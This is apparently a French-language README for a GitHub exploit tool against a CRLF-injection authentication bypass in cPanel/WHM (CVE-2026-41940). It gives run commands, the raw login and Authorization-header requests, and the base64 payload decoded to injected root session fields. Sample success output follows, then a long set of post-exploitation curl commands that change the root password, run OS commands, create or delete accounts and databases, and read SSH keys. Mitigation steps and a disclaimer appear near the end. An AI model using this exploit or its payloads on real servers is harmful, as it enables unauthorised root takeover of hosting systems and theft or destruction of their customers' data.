
Exploit critique de contournement d'authentification pour cPanel/WHM CVE-2026-41940. Exploite l'injection CRLF dans le démon cpsrvd pour obtenir un accès root WHM sans identifiants. Inclut la détection de version, une journalisation verbose, le support des proxys, le rapport JSON et l'énumération de comptes post-exploitation. Réservé aux tests de sécurité autorisés.
Contournement critique de l'authentification par injection CRLF dans le démon cpsrvd de cPanel/WHM
CVE-2026-41940 est une vulnérabilité critique de contournement d'authentification dans cPanel & WHM qui permet à des attaquants distants non authentifiés d'obtenir un accès administratif de niveau root au serveur. La vulnérabilité existe dans la gestion des sessions du démon
cpsrvd, plus précisément dansCpanel/Session.pm, où la neutralisation inappropriée des délimiteurs de ligne (CRLF) dans le cookiewhostmgrsessionet les en-têtesAuthorizationpermet l'injection de paramètres de session.
| Score CVSS | Type d'exploit | Impact | Vecteur d'attaque |
|---|---|---|---|
| 9.8 | Contournement d'authentification | Accès root | Réseau |
Cet outil d'exploitation offre les fonctionnalités clés suivantes :
🔓 Contournement d'authentification - Obtenir un accès WHM root sans identifiants
🛡️ Techniques de contournement multiples - Essaie automatiquement différentes méthodes de vérification
🌐 Prise en charge des proxys - Achemine le trafic via des proxys HTTP/HTTPS
📊 Rapports JSON - Génère des rapports d'évaluation détaillés
📝 Journalisation complète - Mode débogage verbeux avec horodatages
🔍 Détection de version - Détecte et vérifie automatiquement les versions vulnérables
👥 Énumération des comptes - Liste tous les comptes cPanel après exploitation
🎯 Points de terminaison multiples - Essaie divers points de terminaison API pour la vérification
La vulnérabilité provient de deux problèmes principaux :
Injection CRLF dans le stockage de session - La fonction saveSession ne parvient pas à neutraliser les caractères de nouvelle ligne (\n) dans le champ pass avant de l'écrire dans le fichier de session, ce qui permet l'injection de paramètres de session arbitraires.
Contournement du codage conditionnel - Lorsque le cookie de session ne contient pas la partie ob (le segment après la virgule), la valeur pass est écrite sans codage (en clair), ce qui permet l'injection de séquences CRLF.
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
L'exploit obtient d'abord un cookie de session pré-authentification en tentant une connexion échouée :
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
Réponse :
Set-Cookie: whostmgrsession=base64_encoded_data
L'en-tête Authorization conçu injecte des paramètres de session malveillants :
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
Charge utile décodée :
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Le serveur répond avec une redirection contenant le jeton de session administratif :
Location: /cpsess1234567890/
L'exploit tente plusieurs méthodes de vérification pour confirmer l'accès root.
Une fois l'exploit réussi, utilisez les commandes suivantes avec le jeton obtenu :
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"
# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"
# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"
# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"
# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"
# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"
# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"
# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"
# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"
# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"
# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"
# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"
# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"
# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"
# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"
# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"
# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"
# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"
# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
-d "user=root&pass=NewP@ss123"
# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
-d "username=testuser&domain=test.com&password=TestPass123&plan=default"
# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
-d "script=id"
# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
-d "user=testuser"
# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
-d "user=testuser"
# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
-d "user=testuser"
# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"
# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"
# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"
# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"
# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"
# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
-d "db=test_db"
# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
-d "db=test_db"
# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"
Une fois l'accès WHM root obtenu, un attaquant peut :
🔍 Lister tous les comptes cPanel
👤 Créer de nouveaux comptes cPanel
🔑 Modifier les mots de passe des comptes
❌ Supprimer ou suspendre des comptes
🖥️ Exécuter des commandes OS
🔄 Changer le mot de passe root
📊 Consulter les statistiques du serveur
🗄️ Gérer les bases de données MySQL
🐚 Déployer des shells inversés
🌐 Installer des web shells
🗝️ Installer des portes dérobées
🔒 Créer des comptes administrateur cachés
📁 Accéder à tous les fichiers du serveur
💾 Exporter les bases de données
📧 Lire les comptes e-mail
🔐 Accéder aux certificats SSL
# 1. Update cPanel/WHM immediately
/scripts/upcp --force
# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall
# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication
# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords
# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"
# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
✅ Implémentez une validation stricte des entrées pour empêcher l'injection CRLF
✅ Déployez des règles WAF pour détecter et bloquer les requêtes malveillantes
✅ Activez les restrictions d'accès par adresse IP pour WHM
✅ Mettez régulièrement à jour cPanel/WHM vers les dernières versions
✅ Effectuez des évaluations de sécurité régulières
✅ Surveillez les journaux pour détecter toute activité suspecte
✅ Implémentez le principe du moindre privilège
✅ Activez Security Advisor dans WHM
✅ Audits de sécurité réguliers
✅ Implémentez un système de détection d'intrusion
{
"timestamp": "2026-07-26T22:23:25.123456",
"target": "https://target.com:2087",
"status": "success",
"token": "1234567890",
"detected_version": "11.110.0.85",
"vulnerable": true,
"verification_method": "url_format",
"notes": "Root access confirmed; Token verified",
"exploit_name": "CVE-2026-41940",
"cvss_score": "9.8",
"description": "cPanel/WHM Authentication Bypass via CRLF Injection",
"exploit_version": "1.0"
}
Cet outil est fourni uniquement à des fins éducatives et de recherche en sécurité éthique. L'auteur et les contributeurs ne sont pas responsables de tout usage abusif ou dommage causé par ce logiciel. En utilisant cet outil, vous acceptez d'assumer l'entière responsabilité de vos actions. Assurez-vous d'avoir une autorisation explicite avant de tester un système quelconque.
Nous accueillons les contributions ! Veuillez suivre ces étapes :
🍴 Forkez le dépôt
🔧 Créez votre branche de fonctionnalité (git checkout -b feature/amazing-feature)
💾 Commitez vos modifications (git commit -m 'Add amazing feature')
📤 Poussez la branche (git push origin feature/amazing-feature)
🔃 Ouvrez une demande d'extraction (Pull Request)
🎉 Version initiale
🔓 Implémentation de l'exploit d'injection CRLF
🛡️ Techniques multiples de contournement de la vérification
📊 Génération de rapports JSON
🌐 Prise en charge des proxys
📝 Journalisation complète
🔍 Détection de version
👥 Énumération des comptes
📚 Commandes complètes de post-exploitation
Avis de sécurité - [email protected]
Problèmes GitHub - Créer une issue
⚠️ RAPPELEZ-VOUS : Un grand pouvoir implique de grandes responsabilités ! Utilisez de manière éthique ! ⚠️
Fait avec ❤️ pour la communauté de la sécurité
| Attribut | Valeur |
|---|
| ID CVE | CVE-2026-41940 |
| Score CVSS | 9.8 (Critique) |
| Type de vulnérabilité | Contournement d'authentification par injection CRLF |
| Composant affecté | Démon cpsrvd (Cpanel/Session.pm) |
| Vecteur d'attaque | Réseau |
| Impact | Accès root complet |
| Exploitation | À distance, sans authentification |
| Canal de publication | Vulnérable jusqu'à | Version corrigée |
|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
| Argument | Court | Requis | Description |
|---|
--target | -t | ✅ | URL cible (par ex., https://target.com:2087 ) |
--verbose | -v | ❌ | Activer la sortie verbeuse/débogage |
--proxy | -p | ❌ | URL du proxy (par ex., http://127.0.0.1:8080 ) |
--output | -o | ❌ | Fichier de sortie pour le rapport JSON |
--timeout | ❌ | Délai d'expiration des requêtes en secondes (défaut : 10) | |
--list-accounts | -l | ❌ | Lister les comptes cPanel après exploitation réussie |
--version | ❌ | Afficher la version de l'exploit |